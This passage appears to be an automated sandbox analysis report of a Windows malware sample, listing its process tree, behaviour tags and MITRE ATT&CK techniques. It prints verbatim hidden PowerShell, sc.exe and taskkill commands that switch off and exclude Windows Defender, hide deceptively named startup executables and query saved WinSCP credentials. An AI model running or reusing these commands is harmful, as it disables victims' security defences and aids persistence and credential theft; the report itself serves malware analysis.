  "powershell" -WindowStyle Hidden -NonInteractive -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue; Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4972
- C:\Windows\system32\attrib.exe
  "attrib" +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSync.exe"
  2⤵
  - Drops startup file
  - Views/modifies file attributes
  PID:404

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious use of WriteProcessMemory
PID:1828
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1144
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1172
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:848
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sense
  2⤵
  - Launches sc.exe
  PID:5648
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im MsMpEng.exe
  2⤵
  - Kills process with taskkill
  PID:5788
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im SecurityHealthSystray.exe
  2⤵
  - Kills process with taskkill
  PID:5152
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im NisSrv.exe
  2⤵
  - Kills process with taskkill
  PID:4796
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im SgrmBroker.exe
  2⤵
  - Kills process with taskkill
  PID:5808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force -EA SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring $true -Force -EA SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen $true -Force -EA SilentlyContinue; Set-MpPreference -DisableIOAVProtection $true -Force -EA SilentlyContinue; Set-MpPreference -DisableScriptScanning $true -Force -EA SilentlyContinue; Set-MpPreference -DisableArchiveScanning $true -Force -EA SilentlyContinue; Set-MpPreference -MAPSReporting 0 -Force -EA SilentlyContinue; Set-MpPreference -SubmitSamplesConsent 2 -Force -EA SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -Command "Add-MpPreference -ExclusionPath 'C:\' -EA SilentlyContinue; Add-MpPreference -ExclusionPath $env:APPDATA -EA SilentlyContinue; Add-MpPreference -ExclusionPath $env:TEMP -EA SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1124
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1900
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:2816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -NonInteractive -NoProfile -Command "Get-AppxPackage | ForEach-Object { $path = \"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\$($_.PackageFamilyName)\"; if(!(Test-Path $path)){New-Item -Path $path -Force | Out-Null}; Set-ItemProperty -Path $path -Name 'Enabled' -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } 2>$null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1964
- C:\Windows\system32\attrib.exe
  "attrib" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
  2⤵
  - Views/modifies file attributes
  PID:3756
- C:\Windows\system32\ipconfig.exe
  "ipconfig" /all
  2⤵
  - Gathers network information
  PID:4256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -NonInteractive -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue; Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5900
- C:\Windows\system32\attrib.exe
  "attrib" +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSync.exe"
  2⤵
  - Views/modifies file attributes
  PID:4580
- C:\Windows\system32\attrib.exe
  "attrib" +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDefenderHelper.exe"
  2⤵
  - Views/modifies file attributes
  PID:1276
- C:\Windows\system32\reg.exe
  "reg" query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s
  2⤵
  PID:1060
- C:\Windows\system32\attrib.exe
  "attrib" +h +s "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftUpdate.exe"
  2⤵
  - Views/modifies file attributes
  PID:4880
- C:\Windows\system32\attrib.exe
  "attrib" +h +s "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\SystemRuntime.exe"
  2⤵
  - Views/modifies file attributes
  PID:5388

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry